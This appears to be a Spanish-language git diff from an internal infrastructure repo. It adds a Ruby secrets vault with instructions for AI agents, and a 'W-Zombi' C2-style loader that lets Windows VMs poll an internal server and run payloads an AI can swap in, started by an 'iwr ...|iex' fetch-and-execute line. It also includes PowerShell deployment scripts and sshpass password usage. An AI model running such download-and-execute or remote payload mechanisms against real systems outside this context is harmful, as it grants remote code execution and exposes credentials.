"deepseek_key": "eyJpdiI6InRCc2IvL3J4SGNsejgvL04iLCJ0YWciOiJBbjRlMTNXNlZzUGhNSWowSUU1a01nPT0iLCJkYXRhIjoiQXR4azk1aU9sb2QydzNwa0FMTHpjVkJKQTIvZU4wY1U2V2crK3NBbVd1UnRmUGh6In0="
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
# 🔐 ns8-candados: Gestión de Secretos y Autorización SSH
|
||||
|
||||
## Resumen Ejecutivo
|
||||
`ns8-candados` es una herramienta de seguridad robusta diseñada para centralizar, cifrar y gestionar secretos operativos del ecosistema `srv-ns8`. Utiliza el algoritmo industrial **AES-256-GCM** para garantizar la integridad y confidencialidad de las credenciales. Su arquitectura implementa un sistema de **Candado Temporal (MFA)** que requiere una autorización explícita para liberar secretos, protegiendo la información incluso si el servidor se ve comprometido.
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Análisis Estructural
|
||||
- **Tipo de Proyecto**: Utilidad de seguridad CLI escrita en Ruby.
|
||||
- **Organización**: Estructura modular centrada en la protección del dato:
|
||||
- `Cripto`: Motor criptográfico AES-256-GCM con IV aleatorio.
|
||||
- `Boveda`: Persistencia cifrada en `.boveda.json`.
|
||||
- **MFA / Autorización**: Sistema de sesiones temporales basadas en archivos con permisos restringidos.
|
||||
- **Archivos Fundamentales**:
|
||||
- `ns8-candados.rb`: Lógica central.
|
||||
- `.master.key` (Local): La semilla de cifrado (permisos 600).
|
||||
- `.boveda.json`: Almacén de secretos cifrados (permisos 600).
|
||||
- `.session`: Token de autorización temporal (vida: 5 min, permisos 600).
|
||||
|
||||
## ⚙️ Configuración y Dependencias
|
||||
- **Tecnologías**: Ruby, OpenSSL.
|
||||
- **Seguridad de Archivos**: Todos los archivos sensibles se manejan con `chmod 600`, asegurando que **solo el propietario** de la herramienta pueda operar.
|
||||
- **Comandos de Gestión**:
|
||||
- `ruby ns8-candados.rb authorize`: **Abre el candado**. Habilita el acceso a secretos durante 5 minutos.
|
||||
- `ruby ns8-candados.rb cerrar`: **Cierra el candado** manualmente eliminando la sesión activa.
|
||||
- `ruby ns8-candados.rb list`: Lista las claves guardadas (requiere autorización).
|
||||
- `ruby ns8-candados.rb get <clave>`: Recupera el valor descifrado (requiere autorización).
|
||||
|
||||
## 🛡️ Auditoría (logging)
|
||||
La herramienta mantiene un archivo `access.log` en su directorio local que registra de forma inmutable:
|
||||
- **Timestamp**: Fecha y hora exacta de la acción.
|
||||
- **Usuario**: El usuario del sistema operativo que ejecutó el comando.
|
||||
- **Acción**: `AUTHORIZE`, `GET`, `LOCK`, `DENIED` o `EXPIRED`.
|
||||
- **Detalle**: Nombre de la clave solicitada (solo en comandos `get`).
|
||||
|
||||
El archivo tiene permisos `600` para asegurar que solo el propietario pueda auditar los accesos.
|
||||
|
||||
## 🧠 Contexto para IA
|
||||
- **Flujo Obligatorio**: Los agentes de IA DEBEN ejecutar `authorize` antes de intentar recuperar cualquier clave.
|
||||
- **Captura Segura**: Capturar siempre la salida en variables silenciadas:
|
||||
```bash
|
||||
ruby tools/ns8-candados/ns8-candados.rb authorize
|
||||
PASS=$(ruby tools/ns8-candados/ns8-candados.rb get clave)
|
||||
# Operar y luego cerrar:
|
||||
ruby tools/ns8-candados/ns8-candados.rb cerrar
|
||||
```
|
||||
|
||||
## 🚀 Próximos Pasos
|
||||
|
||||
### Propuestas de Mejora
|
||||
- **Auditoría**: Implementar un `access.log` para trazar quién y cuándo abrió el candado.
|
||||
- **Notificación**: Enviar un mensaje (ej. Telegram/Mail) cada vez que se ejecute `authorize`.
|
||||
|
||||
---
|
||||
*Generado siguiendo docs/prompt/documentacion.md*
|
||||
Executable
+319
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env ruby
|
||||
# frozen_string_literal: true
|
||||
|
||||
# ns8-candados — Gestión unificada de secretos y autorización SSH
|
||||
# ==============================================================================
|
||||
# 🤖 INSTRUCCIONES PARA LA IA (AGENTES EXTERNOS):
|
||||
# Esta herramienta permite obtener credenciales seguras sin exponerlas en el chat.
|
||||
# PARA USARLA CORRECTAMENTE (SIN FILTRAR SECRETOS):
|
||||
# Ejecuta el comando y asigna su salida a una variable silenciada:
|
||||
# PASS=$(ruby tools/ns8-candados/ns8-candados.rb get nombre_clave)
|
||||
# sshpass -p "$PASS" ssh usuario@servidor
|
||||
# NUNCA ejecutes `ruby ns8-candados.rb get clave` directamente en run_command sin
|
||||
# capturar o redirigir el output, porque el secreto se filtrará en la bitácora del LLM.
|
||||
# ==============================================================================
|
||||
# Uso: ruby tools/ns8-candados/ns8-candados.rb <comando> [args]
|
||||
#
|
||||
# Comandos:
|
||||
# abrir Autorizar SSH (cargar llave con passphrase)
|
||||
# encrypt <txt> Cifrar texto plano
|
||||
# decrypt <tok> Descifrar payload
|
||||
# get <clave> Obtener secreto de la bóveda (salida: solo el valor)
|
||||
# run <cl> <vr> <cmd> Ejecutar comando con secreto en variable de entorno <vr>
|
||||
# set <clave> Guardar secreto (pide input interactivo, sin eco)
|
||||
# rm <clave> Eliminar secreto de la bóveda
|
||||
# list Listar claves disponibles en la bóveda
|
||||
|
||||
require 'openssl'
|
||||
require 'base64'
|
||||
require 'json'
|
||||
require 'io/console'
|
||||
require 'fileutils'
|
||||
|
||||
# ─── Rutas ───────────────────────────────────────────────────────────
|
||||
TOOL_DIR = File.expand_path(__dir__)
|
||||
MASTER_KEY = File.join(TOOL_DIR, '.master.key')
|
||||
OLD_KEY = File.expand_path('../../.master.key', TOOL_DIR)
|
||||
BOVEDA = File.join(TOOL_DIR, '.boveda.json')
|
||||
SESION = File.join(TOOL_DIR, '.session')
|
||||
ACCESS_LOG = File.join(TOOL_DIR, 'access.log')
|
||||
|
||||
# ─── Transición de Seguridad ─────────────────────────────────────────
|
||||
if File.exist?(OLD_KEY) && !File.exist?(MASTER_KEY)
|
||||
FileUtils.mv(OLD_KEY, MASTER_KEY)
|
||||
FileUtils.chmod(0600, MASTER_KEY)
|
||||
end
|
||||
|
||||
# ─── Colores ─────────────────────────────────────────────────────────
|
||||
module C
|
||||
RESET = "\e[0m"
|
||||
GREEN = "\e[32m"
|
||||
CYAN = "\e[36m"
|
||||
YELLOW = "\e[33m"
|
||||
RED = "\e[31m"
|
||||
DIM = "\e[2m"
|
||||
end
|
||||
|
||||
# ─── Motor Criptográfico (AES-256-GCM) ──────────────────────────────
|
||||
class Cripto
|
||||
ALGORITHM = 'aes-256-gcm'
|
||||
|
||||
def initialize(key_content)
|
||||
@key = Digest::SHA256.digest(key_content.strip)
|
||||
end
|
||||
|
||||
def encrypt(plaintext)
|
||||
cipher = OpenSSL::Cipher.new(ALGORITHM).tap do |c|
|
||||
c.encrypt
|
||||
c.key = @key
|
||||
end
|
||||
iv = cipher.random_iv
|
||||
ciphertext = cipher.update(plaintext.to_s) + cipher.final
|
||||
payload = { iv: b64(iv), tag: b64(cipher.auth_tag), data: b64(ciphertext) }
|
||||
Base64.strict_encode64(payload.to_json)
|
||||
end
|
||||
|
||||
def decrypt(token)
|
||||
p = JSON.parse(Base64.strict_decode64(token), symbolize_names: true)
|
||||
cipher = OpenSSL::Cipher.new(ALGORITHM).tap do |c|
|
||||
c.decrypt
|
||||
c.key = @key
|
||||
c.iv = db64(p[:iv])
|
||||
c.auth_tag = db64(p[:tag])
|
||||
end
|
||||
cipher.update(db64(p[:data])) + cipher.final
|
||||
rescue => e
|
||||
abort "#{C::RED}✗ Error al descifrar: #{e.message}#{C::RESET}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def b64(d) = Base64.strict_encode64(d)
|
||||
def db64(d) = Base64.strict_decode64(d)
|
||||
end
|
||||
|
||||
# ─── Bóveda ──────────────────────────────────────────────────────────
|
||||
class Boveda
|
||||
def initialize(path)
|
||||
@path = path
|
||||
@data = File.exist?(path) ? JSON.parse(File.read(path)) : {}
|
||||
end
|
||||
|
||||
def keys = @data.keys
|
||||
def get(k) = @data[k]
|
||||
def set(k, v) = (@data[k] = v) && save!
|
||||
def rm(k) = @data.delete(k) && save!
|
||||
def empty? = @data.empty?
|
||||
|
||||
private
|
||||
|
||||
def save!
|
||||
File.write(@path, JSON.pretty_generate(@data) + "\n")
|
||||
FileUtils.chmod(0600, @path)
|
||||
end
|
||||
end
|
||||
|
||||
# ─── Master Key ──────────────────────────────────────────────────────
|
||||
def cargar_master_key
|
||||
unless File.exist?(MASTER_KEY)
|
||||
require 'securerandom'
|
||||
File.write(MASTER_KEY, SecureRandom.hex(32))
|
||||
FileUtils.chmod(0600, MASTER_KEY)
|
||||
$stderr.puts "#{C::YELLOW}⚠ Nueva clave maestra creada en local: #{MASTER_KEY}#{C::RESET}"
|
||||
end
|
||||
File.read(MASTER_KEY)
|
||||
end
|
||||
|
||||
# ─── Auditoría ───────────────────────────────────────────────────────
|
||||
def registrar_acceso(accion, detalle = '')
|
||||
usuario = ENV['USER'] || ENV['USERNAME'] || 'unknown'
|
||||
timestamp = Time.now.strftime('%Y-%m-%d %H:%M:%S')
|
||||
log_entry = "[#{timestamp}] - user:#{usuario} - action:#{accion} - #{detalle}\n"
|
||||
|
||||
File.open(ACCESS_LOG, 'a') do |f|
|
||||
f.write(log_entry)
|
||||
end
|
||||
FileUtils.chmod(0600, ACCESS_LOG) if File.exist?(ACCESS_LOG)
|
||||
end
|
||||
|
||||
# ─── Gestión de Sesión (MFA) ─────────────────────────────────────────
|
||||
def autorizar!
|
||||
File.write(SESION, Time.now.to_i.to_s)
|
||||
FileUtils.chmod(0600, SESION)
|
||||
registrar_acceso('AUTHORIZE', 'Candado abierto (Sesión iniciada)')
|
||||
$stderr.puts "#{C::GREEN}✓ Autorización concedida (Válida por 5 minutos).#{C::RESET}"
|
||||
end
|
||||
|
||||
def cerrar_sesion!
|
||||
if File.exist?(SESION)
|
||||
FileUtils.rm_f(SESION)
|
||||
registrar_acceso('LOCK', 'Candado cerrado (Sesión finalizada)')
|
||||
$stderr.puts "#{C::YELLOW}🔒 Sesión cerrada. Candado puesto.#{C::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
def verificar_sesion!
|
||||
unless File.exist?(SESION)
|
||||
registrar_acceso('DENIED', 'Intento de acceso sin autorización')
|
||||
abort "#{C::RED}✗ Error: El candado está puesto. Ejecutá 'ruby #{File.basename($0)} authorize' para abrirlo.#{C::RESET}"
|
||||
end
|
||||
|
||||
inicio = File.read(SESION).to_i
|
||||
if Time.now.to_i - inicio > 300 # 5 minutos
|
||||
cerrar_sesion!
|
||||
registrar_acceso('EXPIRED', 'Sesión expirada automáticamente')
|
||||
abort "#{C::RED}✗ Sesión expirada. Por seguridad, volvé a autorizar.#{C::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
# ─── Comandos ────────────────────────────────────────────────────────
|
||||
|
||||
def cmd_abrir
|
||||
puts "#{C::CYAN}🔐 ns8-candados: Autorización SSH#{C::RESET}"
|
||||
puts "#{C::DIM}Limpiando identidades previas...#{C::RESET}"
|
||||
system('ssh-add -D > /dev/null 2>&1')
|
||||
|
||||
puts "#{C::YELLOW}🔑 Ingresá tu passphrase:#{C::RESET}"
|
||||
system('ssh-add')
|
||||
|
||||
system('ssh-add -l > /dev/null 2>&1')
|
||||
unless $?.success?
|
||||
abort "#{C::RED}✗ Sin identidades SSH cargadas. Abortando.#{C::RESET}"
|
||||
end
|
||||
|
||||
puts "#{C::GREEN}🔓 SSH autorizado. Las identidades permanecen activas mientras dure la sesión del agente.#{C::RESET}"
|
||||
end
|
||||
|
||||
def cmd_encrypt(cripto, texto)
|
||||
abort "#{C::RED}✗ Falta texto a cifrar.#{C::RESET}" if texto.nil? || texto.empty?
|
||||
puts cripto.encrypt(texto)
|
||||
end
|
||||
|
||||
def cmd_decrypt(cripto, token)
|
||||
abort "#{C::RED}✗ Falta payload a descifrar.#{C::RESET}" if token.nil? || token.empty?
|
||||
puts cripto.decrypt(token)
|
||||
end
|
||||
|
||||
def cmd_get(cripto, boveda, clave)
|
||||
abort "#{C::RED}✗ Falta nombre de clave.#{C::RESET}" if clave.nil?
|
||||
verificar_sesion!
|
||||
token = boveda.get(clave)
|
||||
abort "#{C::RED}✗ Clave '#{clave}' no encontrada.#{C::RESET}" if token.nil?
|
||||
|
||||
registrar_acceso('GET', "Clave: #{clave}")
|
||||
puts cripto.decrypt(token)
|
||||
end
|
||||
|
||||
def cmd_run(cripto, boveda, clave, env_var, comando)
|
||||
abort "#{C::RED}✗ Falta nombre de clave.#{C::RESET}" if clave.nil?
|
||||
abort "#{C::RED}✗ Falta nombre de variable de entorno.#{C::RESET}" if env_var.nil?
|
||||
abort "#{C::RED}✗ Falta comando a ejecutar.#{C::RESET}" if comando.nil? || comando.empty?
|
||||
|
||||
verificar_sesion!
|
||||
token = boveda.get(clave)
|
||||
abort "#{C::RED}✗ Clave '#{clave}' no encontrada.#{C::RESET}" if token.nil?
|
||||
|
||||
secret = cripto.decrypt(token)
|
||||
registrar_acceso('RUN', "Clave: #{clave}, Comando: #{comando.is_a?(Array) ? comando.join(' ') : comando}")
|
||||
|
||||
# Ejecutar el comando inyectando la variable
|
||||
ENV[env_var] = secret
|
||||
begin
|
||||
# Si comando es un string, lo ejecutamos vía shell, si es array, directo
|
||||
if comando.is_a?(Array)
|
||||
system(*comando)
|
||||
else
|
||||
system(comando)
|
||||
end
|
||||
exit $?.exitstatus || 0
|
||||
ensure
|
||||
ENV.delete(env_var)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_set(cripto, boveda, clave)
|
||||
abort "#{C::RED}✗ Falta nombre de clave.#{C::RESET}" if clave.nil?
|
||||
$stderr.print "#{C::YELLOW}🔑 Valor para '#{clave}': #{C::RESET}"
|
||||
valor = $stdin.noecho(&:gets)&.chomp
|
||||
$stderr.puts
|
||||
abort "#{C::RED}✗ Valor vacío.#{C::RESET}" if valor.nil? || valor.empty?
|
||||
|
||||
boveda.set(clave, cripto.encrypt(valor))
|
||||
$stderr.puts "#{C::GREEN}✓ Clave '#{clave}' guardada en la bóveda.#{C::RESET}"
|
||||
end
|
||||
|
||||
def cmd_rm(boveda, clave)
|
||||
abort "#{C::RED}✗ Falta nombre de clave.#{C::RESET}" if clave.nil?
|
||||
abort "#{C::RED}✗ Clave '#{clave}' no encontrada.#{C::RESET}" unless boveda.get(clave)
|
||||
boveda.rm(clave)
|
||||
$stderr.puts "#{C::GREEN}✓ Clave '#{clave}' eliminada.#{C::RESET}"
|
||||
end
|
||||
|
||||
def cmd_list(boveda)
|
||||
if boveda.empty?
|
||||
$stderr.puts "#{C::DIM}Bóveda vacía.#{C::RESET}"
|
||||
return
|
||||
end
|
||||
$stderr.puts "#{C::CYAN}🔐 Claves en la bóveda:#{C::RESET}"
|
||||
boveda.keys.each { |k| $stderr.puts " #{C::GREEN}•#{C::RESET} #{k}" }
|
||||
end
|
||||
|
||||
def cmd_help
|
||||
puts <<~HELP
|
||||
#{C::CYAN}🔐 ns8-candados — Gestión de secretos#{C::RESET}
|
||||
|
||||
#{C::GREEN}Uso:#{C::RESET} ruby ns8-candados.rb <comando> [args]
|
||||
|
||||
#{C::YELLOW}Comandos:#{C::RESET}
|
||||
authorize Abrir candado (autorización temporal 5 min)
|
||||
cerrar Cerrar candado manual (eliminar sesión)
|
||||
abrir Autorizar SSH (cargar passphrase)
|
||||
encrypt <texto> Cifrar texto plano → token
|
||||
decrypt <token> Descifrar token → texto plano
|
||||
get <clave> Obtener secreto de la bóveda
|
||||
run <cl> <vr> <cmd> Ejecutar comando con secreto en variable <vr>
|
||||
set <clave> Guardar secreto (input seguro)
|
||||
rm <clave> Eliminar secreto
|
||||
list Listar claves disponibles
|
||||
|
||||
#{C::YELLOW}Ejemplos:#{C::RESET}
|
||||
# Autorizar para operar
|
||||
ruby ns8-candados.rb authorize
|
||||
|
||||
#{C::DIM}# Usar de forma segura inyectando en el entorno (recomendado)#{C::RESET}
|
||||
ruby ns8-candados.rb run admindasu PASS "sshpass -e ssh user@host"
|
||||
|
||||
#{C::DIM}# Usar en scripts (salida limpia - menos seguro)#{C::RESET}
|
||||
PASS=$(ruby ns8-candados.rb get admindasu)
|
||||
sshpass -p "$PASS" ssh user@host "cmd"
|
||||
HELP
|
||||
end
|
||||
|
||||
# ─── Main ────────────────────────────────────────────────────────────
|
||||
comando = ARGV[0]
|
||||
arg = ARGV[1]
|
||||
|
||||
case comando
|
||||
when 'authorize'
|
||||
autorizar!
|
||||
when 'cerrar'
|
||||
cerrar_sesion!
|
||||
when 'encrypt', 'decrypt', 'get', 'run', 'set', 'rm', 'list'
|
||||
cripto = Cripto.new(cargar_master_key)
|
||||
boveda = Boveda.new(BOVEDA)
|
||||
case comando
|
||||
when 'encrypt' then cmd_encrypt(cripto, arg)
|
||||
when 'decrypt' then cmd_decrypt(cripto, arg)
|
||||
when 'get' then cmd_get(cripto, boveda, arg)
|
||||
when 'run' then cmd_run(cripto, boveda, arg, ARGV[2], ARGV[3..].join(' '))
|
||||
when 'set' then cmd_set(cripto, boveda, arg)
|
||||
when 'rm' then cmd_rm(boveda, arg)
|
||||
when 'list' then cmd_list(boveda)
|
||||
end
|
||||
when 'help', '-h', '--help', nil
|
||||
cmd_help
|
||||
else
|
||||
$stderr.puts "#{C::RED}✗ Comando desconocido: '#{comando}'#{C::RESET}"
|
||||
cmd_help
|
||||
exit 1
|
||||
end
|
||||
@@ -0,0 +1,60 @@
|
||||
# 🧟 W-Zombi: Toolkit de Inyección Lateral para Windows VMs
|
||||
|
||||
> Técnica documentada en la bitácora del [25/02/2026](../../bitacoras/2026-02-25.md) (Hito DB01).
|
||||
|
||||
## Problema
|
||||
|
||||
La consola HTML5/VNC de Proxmox **no soporta copiar/pegar** texto. Esto impide provisionar comandos complejos en VMs Windows recién creadas que aún no tienen SSH.
|
||||
|
||||
## Solución
|
||||
|
||||
Arquitectura C2 liviana que sortea la limitación:
|
||||
|
||||
```
|
||||
srv-ns8 (10.0.10.8) VM Windows (VNC)
|
||||
┌──────────────────────┐ ┌──────────────────────┐
|
||||
│ servidor.rb │ ← HTTP :8000 ── │ zombi.ps1 (loop) │
|
||||
│ (Ruby / WEBrick) │ │ Consulta activo.ps1 │
|
||||
│ │ ── payload ────→ │ cada 10 seg │
|
||||
│ payloads/activo.ps1 │ │ Ejecuta y reporta │
|
||||
│ (hot-swap por IA) │ ← POST /log ── │ telemetría al server │
|
||||
└──────────────────────┘ └──────────────────────┘
|
||||
```
|
||||
|
||||
## Uso
|
||||
|
||||
### 1. En srv-ns8 (la IA o el operador):
|
||||
```bash
|
||||
ruby tools/w-zombi/servidor.rb
|
||||
```
|
||||
|
||||
### 2. En la VM Windows (tipear manualmente en VNC — PowerShell Admin):
|
||||
```powershell
|
||||
iwr 10.0.10.8:8000/zombi.ps1 -useb|iex
|
||||
```
|
||||
|
||||
### 3. Cambiar payload activo:
|
||||
```bash
|
||||
# Copiar un payload pre-armado
|
||||
cp tools/w-zombi/payloads/install_ssh.ps1 tools/w-zombi/payloads/activo.ps1
|
||||
|
||||
# O la IA modifica activo.ps1 directamente
|
||||
```
|
||||
|
||||
## Estructura
|
||||
|
||||
```
|
||||
tools/w-zombi/
|
||||
├── servidor.rb ← Servidor HTTP Ruby (WEBrick)
|
||||
├── README.md ← Este archivo
|
||||
└── payloads/
|
||||
├── activo.ps1 ← Payload que ejecuta la VM (hot-swap)
|
||||
├── install_ssh.ps1 ← Instalar OpenSSH Server nativo
|
||||
└── sonda.ps1 ← Diagnóstico y relevamiento del sistema
|
||||
```
|
||||
|
||||
## Seguridad
|
||||
|
||||
- Servidor **efímero** — solo se levanta durante la operación.
|
||||
- Solo escucha en la red interna (`10.0.10.x` / `10.0.100.x`).
|
||||
- Una vez instalado SSH, este mecanismo deja de ser necesario.
|
||||
@@ -0,0 +1 @@
|
||||
OpenSSH-Win64.zip
|
||||
@@ -0,0 +1,115 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
$ZOMBI_URL = "http://10.0.10.8:8000"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
Write-Host "[$ts] $msg" -ForegroundColor Cyan
|
||||
try { Invoke-RestMethod -Uri "$ZOMBI_URL/log" -Method Post -Body @{msg="[$env:COMPUTERNAME] $msg"} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {}
|
||||
}
|
||||
|
||||
$DEST = "C:\SysDasuten"
|
||||
$ZIP = "C:\TEMP\runSysDasuten.zip"
|
||||
$SQL_SERVER = "sql-dasuten"
|
||||
$SQL_DB = "sysdasuten"
|
||||
|
||||
Log "=========================================="
|
||||
Log "DEPLOY SYSDASUTEN — $env:COMPUTERNAME"
|
||||
Log "=========================================="
|
||||
|
||||
# --- PASO 1: Descargar ZIP ---
|
||||
if (-not (Test-Path $DEST\Sistema\DasutenSQL.exe)) {
|
||||
Log "PASO 1: Descargando runSysDasuten.zip (~268 MB)..."
|
||||
New-Item -ItemType Directory -Path "C:\TEMP" -Force | Out-Null
|
||||
try {
|
||||
Invoke-WebRequest -Uri "$ZOMBI_URL/payloads/runSysDasuten.zip" -OutFile $ZIP -UseBasicParsing -ErrorAction Stop
|
||||
Log "Descarga completada: $(((Get-Item $ZIP).Length / 1MB).ToString('N0')) MB"
|
||||
} catch {
|
||||
Log "ERROR descarga: $($_.Exception.Message)"
|
||||
return
|
||||
}
|
||||
|
||||
# --- PASO 2: Extraer ---
|
||||
Log "PASO 2: Extrayendo a $DEST..."
|
||||
New-Item -ItemType Directory -Path $DEST -Force | Out-Null
|
||||
Expand-Archive -Path $ZIP -DestinationPath "C:\" -Force
|
||||
# El zip contiene runSysDasuten/ como raiz, renombrar
|
||||
if (Test-Path "C:\runSysDasuten") {
|
||||
Copy-Item -Path "C:\runSysDasuten\*" -Destination $DEST -Recurse -Force
|
||||
Remove-Item "C:\runSysDasuten" -Recurse -Force
|
||||
}
|
||||
Remove-Item $ZIP -Force -ErrorAction SilentlyContinue
|
||||
Log "Extraido OK."
|
||||
} else {
|
||||
Log "PASO 1-2: SKIP — Ya existe $DEST\Sistema\DasutenSQL.exe"
|
||||
}
|
||||
|
||||
# --- PASO 3: Modificar Kermet.ini ---
|
||||
Log "PASO 3: Configurando Kermet.ini..."
|
||||
$iniPaths = @("$DEST\Kermet.ini", "$DEST\Sistema\Kermet.ini")
|
||||
foreach ($ini in $iniPaths) {
|
||||
if (Test-Path $ini) {
|
||||
$content = Get-Content $ini -Raw
|
||||
$content = $content -replace 'SERVER=srvFENIX', "SERVER=$SQL_SERVER"
|
||||
$content = $content -replace 'SERVER=172\.16\.9\.204\\SQL2017', "SERVER=$SQL_SERVER"
|
||||
Set-Content $ini $content -Force
|
||||
Log "Actualizado: $ini -> SERVER=$SQL_SERVER"
|
||||
}
|
||||
}
|
||||
|
||||
# --- PASO 4: Instalar Fuentes ---
|
||||
Log "PASO 4: Instalando fuentes..."
|
||||
$fontDir = "$DEST\Fonts\Fonts"
|
||||
if (Test-Path $fontDir) {
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$fontsFolder = $shell.NameSpace(0x14) # Windows Fonts folder
|
||||
Get-ChildItem "$fontDir\*.ttf" | ForEach-Object {
|
||||
$fontPath = $_.FullName
|
||||
$fontName = $_.Name
|
||||
if (-not (Test-Path "C:\Windows\Fonts\$fontName")) {
|
||||
Copy-Item $fontPath "C:\Windows\Fonts\" -Force
|
||||
$regKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
|
||||
New-ItemProperty -Path $regKey -Name $fontName -Value $fontName -PropertyType String -Force | Out-Null
|
||||
Log "Fuente instalada: $fontName"
|
||||
} else {
|
||||
Log "Fuente ya existe: $fontName"
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Log "WARN: No se encontro directorio de fuentes"
|
||||
}
|
||||
|
||||
# --- PASO 5: Verificar firewall SQL en sql-dasuten ---
|
||||
Log "PASO 5: Probando conectividad SQL..."
|
||||
$tcpTest = Test-NetConnection -ComputerName $SQL_SERVER -Port 1433 -WarningAction SilentlyContinue
|
||||
if ($tcpTest.TcpTestSucceeded) {
|
||||
Log "Conexion TCP a ${SQL_SERVER}:1433 OK"
|
||||
} else {
|
||||
Log "WARN: No se puede conectar a ${SQL_SERVER}:1433 — verificar firewall"
|
||||
}
|
||||
|
||||
# --- PASO 6: Probar conexion SQL con sqlcmd (si existe) ---
|
||||
$sqlcmd = Get-Command sqlcmd -ErrorAction SilentlyContinue
|
||||
if ($sqlcmd) {
|
||||
Log "PASO 6: Probando SQL con sqlcmd..."
|
||||
$result = sqlcmd -S $SQL_SERVER -E -Q "SELECT DB_NAME() AS db_actual; SELECT name FROM sys.databases WHERE name = '$SQL_DB'" -W 2>&1
|
||||
Log "SQL Result: $result"
|
||||
} else {
|
||||
Log "PASO 6: SKIP — sqlcmd no disponible (normal en Win10), probar con DasutenSQL.exe"
|
||||
}
|
||||
|
||||
# --- PASO 7: Crear acceso directo ---
|
||||
Log "PASO 7: Creando acceso directo en Escritorio..."
|
||||
$desktopPath = [Environment]::GetFolderPath('CommonDesktopDirectory')
|
||||
$shortcutPath = "$desktopPath\DasutenSQL.lnk"
|
||||
$WshShell = New-Object -ComObject WScript.Shell
|
||||
$shortcut = $WshShell.CreateShortcut($shortcutPath)
|
||||
$shortcut.TargetPath = "$DEST\Sistema\DasutenSQL.exe"
|
||||
$shortcut.WorkingDirectory = "$DEST\Sistema"
|
||||
$shortcut.Description = "Sistema DASUTEN"
|
||||
$shortcut.Save()
|
||||
Log "Acceso directo creado: $shortcutPath"
|
||||
|
||||
Log "=========================================="
|
||||
Log "DEPLOY SYSDASUTEN COMPLETADO"
|
||||
Log "Ejecutar desde: $DEST\Sistema\DasutenSQL.exe"
|
||||
Log "=========================================="
|
||||
@@ -0,0 +1,115 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
$ZOMBI_URL = "http://10.0.10.8:8000"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
Write-Host "[$ts] $msg" -ForegroundColor Cyan
|
||||
try { Invoke-RestMethod -Uri "$ZOMBI_URL/log" -Method Post -Body @{msg="[$env:COMPUTERNAME] $msg"} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {}
|
||||
}
|
||||
|
||||
$DEST = "C:\SysDasuten"
|
||||
$ZIP = "C:\TEMP\runSysDasuten.zip"
|
||||
$SQL_SERVER = "sql-dasuten"
|
||||
$SQL_DB = "sysdasuten"
|
||||
|
||||
Log "=========================================="
|
||||
Log "DEPLOY SYSDASUTEN — $env:COMPUTERNAME"
|
||||
Log "=========================================="
|
||||
|
||||
# --- PASO 1: Descargar ZIP ---
|
||||
if (-not (Test-Path $DEST\Sistema\DasutenSQL.exe)) {
|
||||
Log "PASO 1: Descargando runSysDasuten.zip (~268 MB)..."
|
||||
New-Item -ItemType Directory -Path "C:\TEMP" -Force | Out-Null
|
||||
try {
|
||||
Invoke-WebRequest -Uri "$ZOMBI_URL/payloads/runSysDasuten.zip" -OutFile $ZIP -UseBasicParsing -ErrorAction Stop
|
||||
Log "Descarga completada: $(((Get-Item $ZIP).Length / 1MB).ToString('N0')) MB"
|
||||
} catch {
|
||||
Log "ERROR descarga: $($_.Exception.Message)"
|
||||
return
|
||||
}
|
||||
|
||||
# --- PASO 2: Extraer ---
|
||||
Log "PASO 2: Extrayendo a $DEST..."
|
||||
New-Item -ItemType Directory -Path $DEST -Force | Out-Null
|
||||
Expand-Archive -Path $ZIP -DestinationPath "C:\" -Force
|
||||
# El zip contiene runSysDasuten/ como raiz, renombrar
|
||||
if (Test-Path "C:\runSysDasuten") {
|
||||
Copy-Item -Path "C:\runSysDasuten\*" -Destination $DEST -Recurse -Force
|
||||
Remove-Item "C:\runSysDasuten" -Recurse -Force
|
||||
}
|
||||
Remove-Item $ZIP -Force -ErrorAction SilentlyContinue
|
||||
Log "Extraido OK."
|
||||
} else {
|
||||
Log "PASO 1-2: SKIP — Ya existe $DEST\Sistema\DasutenSQL.exe"
|
||||
}
|
||||
|
||||
# --- PASO 3: Modificar Kermet.ini ---
|
||||
Log "PASO 3: Configurando Kermet.ini..."
|
||||
$iniPaths = @("$DEST\Kermet.ini", "$DEST\Sistema\Kermet.ini")
|
||||
foreach ($ini in $iniPaths) {
|
||||
if (Test-Path $ini) {
|
||||
$content = Get-Content $ini -Raw
|
||||
$content = $content -replace 'SERVER=srvFENIX', "SERVER=$SQL_SERVER"
|
||||
$content = $content -replace 'SERVER=172\.16\.9\.204\\SQL2017', "SERVER=$SQL_SERVER"
|
||||
Set-Content $ini $content -Force
|
||||
Log "Actualizado: $ini -> SERVER=$SQL_SERVER"
|
||||
}
|
||||
}
|
||||
|
||||
# --- PASO 4: Instalar Fuentes ---
|
||||
Log "PASO 4: Instalando fuentes..."
|
||||
$fontDir = "$DEST\Fonts\Fonts"
|
||||
if (Test-Path $fontDir) {
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$fontsFolder = $shell.NameSpace(0x14) # Windows Fonts folder
|
||||
Get-ChildItem "$fontDir\*.ttf" | ForEach-Object {
|
||||
$fontPath = $_.FullName
|
||||
$fontName = $_.Name
|
||||
if (-not (Test-Path "C:\Windows\Fonts\$fontName")) {
|
||||
Copy-Item $fontPath "C:\Windows\Fonts\" -Force
|
||||
$regKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
|
||||
New-ItemProperty -Path $regKey -Name $fontName -Value $fontName -PropertyType String -Force | Out-Null
|
||||
Log "Fuente instalada: $fontName"
|
||||
} else {
|
||||
Log "Fuente ya existe: $fontName"
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Log "WARN: No se encontro directorio de fuentes"
|
||||
}
|
